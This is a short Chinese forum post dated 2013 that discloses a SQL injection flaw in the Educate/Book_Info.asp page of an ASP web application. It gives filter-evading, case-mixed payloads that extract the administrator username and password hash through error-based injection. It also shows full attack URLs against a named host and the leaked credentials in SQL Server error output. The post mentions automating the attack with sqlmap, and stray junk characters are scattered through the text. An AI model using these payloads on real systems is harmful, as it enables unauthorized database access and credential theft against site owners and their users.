漏洞出现在Educate/Book_Info.asp
. n0 N+ c5 X( A8 Q" O5 L1 V此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出6 J9 h9 M2 c7 s0 i3 M
exp：如下- `: b( B! m2 t& Q) v: O
查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)! A% X4 C$ j6 U7 M- c4 B" }
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)7 v& S1 ]5 l: ^7 K
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
& ^2 k6 i8 r( L2 }Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
! q/ _) [7 w/ U0 w0 e. [ z* X将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。1 ^$ @$ S s1 P6 N
/Educate/Book_Info.asp，行 80 }3 j5 [ u/ E9 Q4 \) o6 D/ q& \" g
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)! g9 M9 l: x! u0 t- @& _9 n# I
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'$ S( Z. x& J1 }9 H; G
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
8 P% A3 i% C3 m$ Y& T7 y6 n( ^/Educate/Book_Info.asp，行 8 |
发表于 2013-2-13 23:56:06
收藏
支持
反对